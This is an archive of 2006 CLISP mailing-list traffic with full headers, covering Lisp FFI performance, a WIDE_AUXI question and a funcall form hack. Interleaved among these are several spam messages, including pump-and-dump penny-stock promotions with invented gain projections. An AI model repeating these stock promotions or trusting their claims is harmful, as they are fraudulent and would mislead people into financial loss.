this? You have several choices when using the FFI: 1. work with foreign references (pointers) in Lisp, and only convert the fields you need when you need them. This is what you may know from C. If you go this way, I advise you use the # literally = and shy away from foreign places (which encapsulate them), except when = accessing slots. 2. work with arrays, and convert in one go, even though you may not = need all elements. 3. work with Lisp classes whose slots are copied *once* from the = foreign world. If you pass these two foreign functions, all slots are copied once = again. >cases this operation will be called a few thousand >times, if not more I'm fully with you. I've been annoyed by people that do not recognize = that there are bottlenecks in applications other than having a bad = local algorithm (e.g. quicksort vs. mergesort). I've seen system slown = down by myriads of calls to tiny "do almost nothing" functions. And = there aren't easy to optimize away. Regards, J=F6rg H=F6hle. From zucbjczgx@pspdutch.nl Mon Jun 05 18:44:20 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FnQcG-00048g-8w for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 18:44:20 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FnAxC-0005mI-Ho for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 02:00:54 -0700 Received: from pd958813a.dip.t-dialin.net ([217.88.129.58]) by mail.sourceforge.net with smtp (Exim 4.44) id 1FnAvy-0003CX-Oo for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 01:59:41 -0700 Received: from [217.88.180.222] (helo=xqe) by pD958813A.dip.t-dialin.net with smtp (Exim 4.43) id 1FnAwy-0002ay-G9; Mon, 5 Jun 2006 11:00:40 +0200 Message-ID: <000401c6887e$5594589f$deb458d9@xqe> From: "Sibylla Houston" To: Date: Mon, 5 Jun 2006 10:55:44 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 1.8 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [217.88.129.58 listed in dnsbl.sorbs.net] 1.7 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [217.88.129.58 listed in combined.njabl.org] Subject: [clisp-list] gift certificate narcotic X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 Jun 2006 01:44:20 -0000 Investment Times Alert Issues: (S T R O N G B U Y) WE SEE A RUN STARTING TO HAPPEN. The chart on A M S N is a thing of beauty as it shows what we mentioned earlier slow and steady upward movement. There is a massive promotion underway this weekend apprising potential eager investors of this emerging situation. Can you make some fast money on this one? Put it on your radar now. Breaking news alert issue - big news coming. Trade Date : 5 Jun 2006 Company Name : AMEROSSI INTL GRP S t o c k : A M S N Timing is everything! Price : $0.05 10 Day Trading Projection : $0.40 - $0.60 Market Performance : 300-500% This is your chance to get in while it is still low. From vguzszvosfv@cpottery.com Mon Jun 05 18:45:00 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FnQct-0004yX-Qe for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 18:44:59 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FmpAr-0007Ez-Sg for clisp-list@lists.sourceforge.net; Sun, 04 Jun 2006 02:45:33 -0700 Received: from [85.104.56.98] (helo=dsl85-104-14606.ttnet.net.tr) by mail.sourceforge.net with smtp (Exim 4.44) id 1FmpAp-00025D-Cl for clisp-list@lists.sourceforge.net; Sun, 04 Jun 2006 02:45:32 -0700 Received: from lonmnf ([85.104.148.218]) by dsl85-104-14606.ttnet.net.tr (8.13.5/8.13.5) with SMTP id k549nFVB051266; Sun, 4 Jun 2006 12:49:15 +0300 Message-ID: <002e01c687bb$9c17d712$da946855@lonmnf> From: "Reggie Morales" To: Date: Sun, 4 Jun 2006 12:41:48 +0300 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 HELO_DYNAMIC_DHCP Relay HELO'd using suspicious hostname (DHCP) 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [85.104.56.98 listed in dnsbl.sorbs.net] 1.7 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [85.104.56.98 listed in combined.njabl.org] Subject: [clisp-list] madman X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 Jun 2006 01:45:00 -0000 We pick our companies based on there growth potential. We feel this is a "S t o c k A l e r t" and you should have this on your Radar. Here is a special company that may be set to make a move in the near future - this could be your opportunity to be ahead of the curve! Do this often enough, and your portfolio can double, even TRIPLE in value. Urgent watch alert for all members starting now. Do not wait until it is too late!!! Trade Date : 2006, June 5 Company : Amerossi International Group S t o c k : A M S N Timing is everything! Price : $0.05 15 Day Target : $0.40 Status : BUY When this Stock moves - WATCH OUT! From promo01@marvolpromo.com Mon Jun 05 19:23:31 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FnRE9-0003LU-In for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 19:23:30 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FnRE9-0001eX-5o for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 19:23:29 -0700 Received: from mail.marvolpromo.com ([72.245.206.145]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FnRE5-0004SY-6v for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 19:23:29 -0700 Received: from cpt-web [72.245.206.180] by mail.marvolpromo.com with ESMTP (SMTPD32-8.15) id A7184F401D6; Mon, 05 Jun 2006 22:23:20 -0400 From: "LCDs, Flex Cables, Flip Assembly" To: clisp-list@lists.sourceforge.net Content-Type: text/plain Date: Mon, 5 Jun 2006 22:23:09 -0400 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Message-Id: <200606052223796.SM00428@cpt-web> X-Spam-Score: -1.7 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.6 REMOVE_PAGE URI: URL of page called "remove" Subject: [clisp-list] LCDs, Flex Cables, Flip Assembly X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 Jun 2006 02:23:32 -0000 Flip Assembly Siemens SL55/SL56 Flip Assembly - US$25.90 Motorola T725 Flip Assembly - US$17.50 Motorola V300 Flip Assembly – US$27.50 Nextel i60 Flip Assembly – 1585015E01 - US$19.50 Nextel i95 Flip Assembly - 1585409D01 - US$32.50 LCD Kyocera SE 47 LCD – TMSRP10391 - US$9.90 Motorola V600 LCD – 7289235N02 - US$11.50 Motorola C350 LCD – 0186617P01 - US$7.75 Motorola V600 LCD set - US$27.50 Motorola V635 LCD set - US$29.75 Motorola V3 CDMA LCD - US$31.50 Motorola V220 LCD set - US$17.50 Motorola V180 LCD set - US$17.50 Motorola V3620 LCD - US$1.50 Nokia 3600/3620/3650/3660 LCD – 9458985 - US$18.50 Nokia 1100 LCD – 4850341 - US$5.90 Nokia 2100 LCD - US$7.50 Nokia 2112 LCD – 4850805 - US$7.50 Nokia 1220/3320 LCD – 4850271 - US$2.90 Nokia 3200/6200 LCD – 4850813 - US$11.50 Nokia 6030/2255 LCD – 4850835 - US$8.50 Nokia 6360 LCD – 4850237 - US$2.50 Nokia 6340 LCD – 4850141 - US$1.90 Nokia 6255/6101 Caller id LCD – 4850927 - US$4.50 Nokia 6101 LCD – 4850863 - US$22.50 Nokia 6560 LCD – 4850345 - US$12.00 Nokia 8210/8290 LCD - US$3.90 Nokia 8265 LCD – 4850241 - US$2.95 Nokia 8390 LCD - US$5.50 Samsung X427 LCD – GH07-00424A - US$17.50 Samsung E310 LCD – GH07-00465A - US$19.50 Samsung X480 LCD - GH07-00655A - US$24.50 Treo 650 LCD - US$49.50 Flex Cables LGVX4400 Flex Cable US$5.50 LGVX5250 Flex Cable US$5.75 LGVX5450 Flex Cable US$5.75 LGVX6000 Flex Cable US$5.75 LGVX7000 Flex Cable US$5.50 Motorola V66 Flex Cable US$1.50 Motorola T720/T730 Flex Cable US$0.35 Motorola V265 Flex Cable US$7.50 Motorola V300 Flex Cable US$5.25 Motorola V600 Flex Cable US$5.75 Motorola V3 CDMA Flex Cable US$12.50 Motorola V3 GSM Flex Cables US$13.50 Nokia 6101 Flex Cable US$6.00 Nokia 6020 Flex Cable US$6.00 Nokia 6255 Flex Cable US$6.00 Samsung A670 Flex Cable US$7.50 All Parts are brand new. If you need any other part or accessory, please do not hesitate to contact us. We might have what you are looking for in our inventory!!! Best Regards, Marvol USA Corp. 245 SE 1st Street #329 Miami, FL 33131 www.marvol.com marvol@marvol.com Ph:305-358-4305 Fax:305-358-9759 If you do not want to receive our Newsletter, please go to to remove your address from our database. From pjb@informatimago.com Mon Jun 05 19:30:08 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FnRKZ-0005kO-5a for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 19:30:07 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fn9U8-00055P-99 for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 00:26:48 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fn9RT-0004R4-8I for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 00:24:06 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 4F79E5833D; Mon, 5 Jun 2006 09:23:58 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 44C855833D; Mon, 5 Jun 2006 09:23:51 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7DA698F7C; Mon, 5 Jun 2006 09:23:50 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Message-Id: <20060605072350.7DA698F7C@thalassa.informatimago.com> Date: Mon, 5 Jun 2006 09:23:50 +0200 (CEST) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] WIDE_AUXI? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 Jun 2006 02:30:09 -0000 Hello, I've seen in the sources of clisp this flag: WIDE_AUXI that enables the allocation of an auxiliary 32-bit value with each lisp object. I've not noticed any use of this auxiliary value. Is it free for my own extensions? Another question: http://clisp.cons.org/impnotes/memory-models.html mention SPVW_MIXED_BLOCK_OPPOSITE and SPVW_MIXED_BLOCK_STAGGERED but SOFTWARE-TYPE gives these SPVW_BLOCKS and SPVW_MIXED defnes: "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -L/usr/local/lib -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 libreadline 4.3" How can I know which of SPVW_MIXED_BLOCK_OPPOSITE or SPVW_MIXED_BLOCK_STAGGERED is really used? Isn't there configure flags to force one or another memory model or to enable WIDE_AUXI? -- __Pascal Bourguignon__ http://www.informatimago.com/ This universe shipped by weight, not volume. Some expansion may have occurred during shipment. From ron@flownet.com Mon Jun 05 23:07:24 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FnUiq-0002ZL-22 for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 23:07:24 -0700 Received: from smtp.zerolag.com ([64.14.242.20]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FnUil-0001WL-OO for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 23:07:20 -0700 Received: from 24-205-62-203.dhcp.gldl.ca.charter.com ([24.205.62.203] helo=[192.168.1.4]) by smtp.zerolag.com with esmtpa (Exim 4.50) id 1FnUii-0000h0-Vt for clisp-list@lists.sourceforge.net; Mon, 05 Jun 2006 23:07:17 -0700 Mime-Version: 1.0 (Apple Message framework v624) Content-Transfer-Encoding: 7bit Message-Id: <3d0972eab5a7a27f64c0dc3eb9a86165@flownet.com> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Ron Garret Date: Mon, 5 Jun 2006 23:07:18 -0700 X-Mailer: Apple Mail (2.624) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Combination-hook hack X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 Jun 2006 06:07:24 -0000 Hello, As those of you who have been following along on c.l.l. know I am trying to arrange for forms that look like ((...) ...) to not be treated as errors (and be treated e.g. as (funcall (...) ...). I have been able to produce implementation-specific hacks that accomplish this for MCL and SBCL. But CLisp has me stymied. (From the first time I ever looked at the CLisp sources over ten years ago they always struck me as some of the most, er, challenging sources I've ever seen.) Anyway, I got as far as hacking system::%expand-form thusly: (defun %expand-form1 (form &aux (%whole-form form)) ... (if (consp f) (if (eq (car f) 'lambda) (multiple-value-call #'%expand-cons form (%expand-lambda f) (%expand-list (rest form))) (%expand-form (munge-form form))) (error-of-type 'source-program-error :form form :detail form (TEXT "~S: invalid form ~S") '%expand-form form)))))) (defun munge-form (form) (cons 'funcall form)) ; For illustrative purposes only but that doesn't seem to work. It does change the behavior of the system in that it allows me to do this which it wouldn't before: (defun foo () ((car (list #'cdr)) '(1 2 3))) but if I try to actually call FOO it complains. Anyone have any suggestions on how to proceed? Thanks, rg From perpetualstranger-clisp@yahoo.com Fri Jun 02 11:26:19 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FmELj-0007A1-6k for clisp-list@lists.sourceforge.net; Fri, 02 Jun 2006 11:26:19 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FmELi-0004FO-QM for clisp-list@lists.sourceforge.net; Fri, 02 Jun 2006 11:26:18 -0700 Received: from web81214.mail.mud.yahoo.com ([68.142.199.43]) by mail.sourceforge.net with smtp (Exim 4.44) id 1FmELi-00039A-Ez for clisp-list@lists.sourceforge.net; Fri, 02 Jun 2006 11:26:18 -0700 Received: (qmail 417 invoked by uid 60001); 2 Jun 2006 18:26:12 -0000 Message-ID: <20060602182612.415.qmail@web81214.mail.mud.yahoo.com> Date: Fri, 2 Jun 2006 11:26:12 -0700 (PDT) From: Will To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers X-Mailman-Approved-At: Tue, 06 Jun 2006 01:44:57 -0700 Subject: Re: [clisp-list] Accessing C structures w/ FFI X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 02 Jun 2006 18:26:19 -0000 I've re-ordered the message a little bit to address a couple of easier things first. Joerg Hoehle wrote: "It's hard to believe that foreign function calling is faster than a single usage of ffi:element, ffi:slot etc. The conversion routines are exactly the same." I just tested this again. The output from time is listed below. The structure sys_var has an integer field 'n'. Even discounting the garbage collection, a call to slot is still slower. The large discrepancy in the amount of space used may hint at the difference in the nature of the calls. Note also that the Lisp source for the sys_var variable was compiled before this test was run. [8]> (time (dotimes (i 10000) (ffi:slot sys_var 'n))) Real time: 0.052893 sec. Run time: 0.047992 sec. Space: 960776 Bytes GC: 2, GC time: 0.012997 sec. NIL [9]> (time (dotimes (i 10000) (get_sysvar_n))) Real time: 0.018386 sec. Run time: 0.014997 sec. Space: 752 Bytes Just for comparison, consider the following: (defstruct foo x y) (setf f (make-foo)) (compile 'foo-x) (time (dotimes (i 10000) (foo-x f))) Real time: 0.013396 sec. Run time: 0.012998 sec. Space: 752 Bytes Before compiling, the results were: (time (dotimes (i 10000) (foo-x f))) Real time: 0.04467 sec. Run time: 0.037995 sec. Space: 80752 Bytes GC: 1, GC time: 0.004999 sec. Joerg wrote: "Don't do (dotimes (i #) (setf (element (deref (slot x 'foo)) i) #)) Use the following pattern instead: (with-c-var (a (deref (slot x 'foo))) ; deref all the constant path (dotimes (i #) (setf (element a i) #))" I've been playing with this a bit, but can't get it to work correctly. Note that I have to cast from a double-float pointer to a pointer to an array of length n. The obvious (to me) solution, didn't seem to work. My assumption is that cast will return a pointer to an array that I can then dereference to access the elements. (with-c-var (a (deref (cast (slot sys_var 'vals) '(c-ptr (c-array double-float 2))))) (setf (element a 1) 9d0)) Joerg Hoehle wrote: "Would you like to explain and show more of what you want to achieve so that maybe people here can help you?" I might as well. I'll start with the back story. I've been using a robust package for solving ordinary differential equations, called CVODE. The most recent implementation has a Python program output a C file that can be compiled and linked to CVODE. The program runs the new executable and reads the created data file. The weaknesses of this approach are probably apparent. Having a program jump to a shell, compile a program, and then execute it is inconvenient (i.e., slow and convoluted). Why does the program compile an external source file? Two reasons: (1) CVODE needs a compiled function that defines the system of equations and (2) using Python's "eval" would result in even slower execution. I needed to rewrite the Python code anyway, and decided to use Lisp since it will let me create and compile functions on the fly while maintaining C-comparable speed. The memory structures used by CVODE are fairly complex, and writing a wrapper around CVODE appeared simpler. Part of this wrapper is a structure that stores the current (with respect to time in a simulation) values of the variables determined by the set of differential equations, the current derivatives of those variables, and the number of variables. typedef struct { int n; double *vals; double *dot_vals; } system_variables; An simplified example of a Lisp function that uses these values is (defun cvode_model (time) (declare (ignore time)) (set_sysvar_dotval 0 (+ (* 0.25d0 0.75d0 (get_sysvar_val 1) (get_sysvar_val 0)) (* -1.0d0 0.25d0 (get_sysvar_val 0)))) (set_sysvar_dotval 1 (+ (* -1.0d0 0.75d0 (get_sysvar_val 1) (get_sysvar_val 0)) (* 2.0d0 (get_sysvar_val 1)))))) Where set_sysvar_dotval and get_sysvar_val are calls to C functions that access an instantiation of the structure. Note that it's vital for the values recorded in dot_vals and vals and seen by both C and Lisp to be identical. I'll unpack this a bit. C --> calls Lisp to get new values for sysvar.dot_vals Lisp --> reads the numbers stored in sysvar.vals Lisp --> sets the values of sysvar.dot_vals C --> reads the numbers stored in sysvar.dot_vals C --> updates the numbers in sysvar.vals according to sysvar.dot_vals C --> calls Lisp ... This code will be called a few thousand times during a single simulation, and several (hundreds or more) simulations will be performed in the course of this functions life. So, it's somewhat important for this to run quickly. The above implementation is about 14% slower than a pure C solution for the few simulations that I've tried, but other gains make the tradeoff reasonable (note: I'm talking at the level of milliseconds here for a complete simulation). I believe that if I were magically able to access the elements of the structure *directly* in Lisp, by which I mean accessing them as if they were native Lisp objects, I would at least reach equivalence with the pure C solution. If you made it this far, then you should reward yourself with a cup of coffee or maybe a light snack. I hope that the problem and my solution are clear at a general level from the above description, and that some of the specifics about how I need to use the FFI are also apparent. Best, Will From atziseylkd@choregraphie.com Tue Jun 06 15:14:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fnjoo-0005ef-N2 for clisp-list@lists.sourceforge.net; Tue, 06 Jun 2006 15:14:34 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Fnjom-0002Y3-CV for clisp-list@lists.sourceforge.net; Tue, 06 Jun 2006 15:14:34 -0700 Received: from host153-58.pool8710.interbusiness.it ([87.10.58.153]) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1FniP7-00086J-Iy for clisp-list@lists.sourceforge.net; Tue, 06 Jun 2006 13:43:58 -0700 Received: from ugttfd.uvr ([87.10.180.89]) by host153-58.pool8710.interbusiness.it (8.13.3/8.13.3) with SMTP id k56Kiifx014379; Tue, 6 Jun 2006 22:44:44 +0200 Message-ID: <000301c689a9$fe8e1310$59b40a57@ugttfd.uvr> From: "Matthias Arias" To: Date: Tue, 6 Jun 2006 22:37:15 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 1.8 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [87.10.58.153 listed in dnsbl.sorbs.net] 1.7 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [87.10.58.153 listed in combined.njabl.org] X-Spam-Score: 1.8 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [87.10.58.153 listed in dnsbl.sorbs.net] 1.7 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [87.10.58.153 listed in combined.njabl.org] Subject: [clisp-list] operable bathing suit X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 Jun 2006 22:14:35 -0000 Investor Alert - WE HAVE A RUNNER ! WE SEE A RUN STARTING TO HAPPEN. Trading Date : Monday, June 7th, 2006 Company : AbsoluteSKY, Inc. Stock : A B S Y Price : $0.95 3-6 Day Trading : $1 - $4 Expectations : 300-500% We assume many of you like to "trade the promotion" and may have made some big, fast money doing so. IF you are Receiving this email, you are among the first public investors to know about A B S Y !!! A $1,000 dollar investment could yield a $4,000 dollar profit in just ONE trade if you trade out at the top. We see big things happening everyday, so we say keep your eye on A B S Y and watch for a big movement !!! Talk about flying under the radar? Isn't that what we look for? From kevkqbgkidc@continental-cars.de Wed Jun 07 09:25:24 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fo0qS-0006vH-AL for clisp-list@lists.sourceforge.net; Wed, 07 Jun 2006 09:25:24 -0700 Received: from bol218.neoplus.adsl.tpnet.pl ([83.29.27.218]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Fo0qL-0004kt-AL for clisp-list@lists.sourceforge.net; Wed, 07 Jun 2006 09:25:23 -0700 Received: from tvsy.kcihx ([83.29.188.144]) by bol218.neoplus.adsl.tpnet.pl (8.13.1/8.13.1) with SMTP id k57GQibP040621; Wed, 7 Jun 2006 18:26:44 +0200 Message-ID: <001c01c68a4e$efb4e625$90bc1d53@tvsy.kcihx> From: "Charlie Lancaster" To: Date: Wed, 7 Jun 2006 18:20:26 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="Windows-1252"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 1.8 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [83.29.27.218 listed in dnsbl.sorbs.net] 1.7 RCVD_IN_NJABL_DUL RBL: NJABL: dialup sender did non-local SMTP [83.29.27.218 listed in combined.njabl.org] Subject: [clisp-list] meteorologist noisy X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 07 Jun 2006 16:25:25 -0000 Big news expected. Here at World Stock Report we work on what we here from the street. It has been showing a steady move up on increasing volume. Looking for a company with some good news? Here's one! Big news expected. This should invoke LARGE gains. Trading Date : 07/06/06 Company : AbsoluteSKY S y m b o l : A B S Y Today : $0.95 3 WEEK PROJECTION : $1 - $4 Status : BUY From hvticgxspqp@cox-family.demon.co.uk Wed Jun 07 12:19:40 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fo3Z2-0006xX-9q for clisp-list@lists.sourceforge.net; Wed, 07 Jun 2006 12:19:36 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fo3Z1-0002Ng-TV for clisp-list@lists.sourceforge.net; Wed, 07 Jun 2006 12:19:35 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Fo3Z0-0007Ic-8L for clisp-list@lists.sourceforge.net; Wed, 07 Jun 2006 12:19:35 -0700 Received: from host139-6.pool8729.interbusiness.it 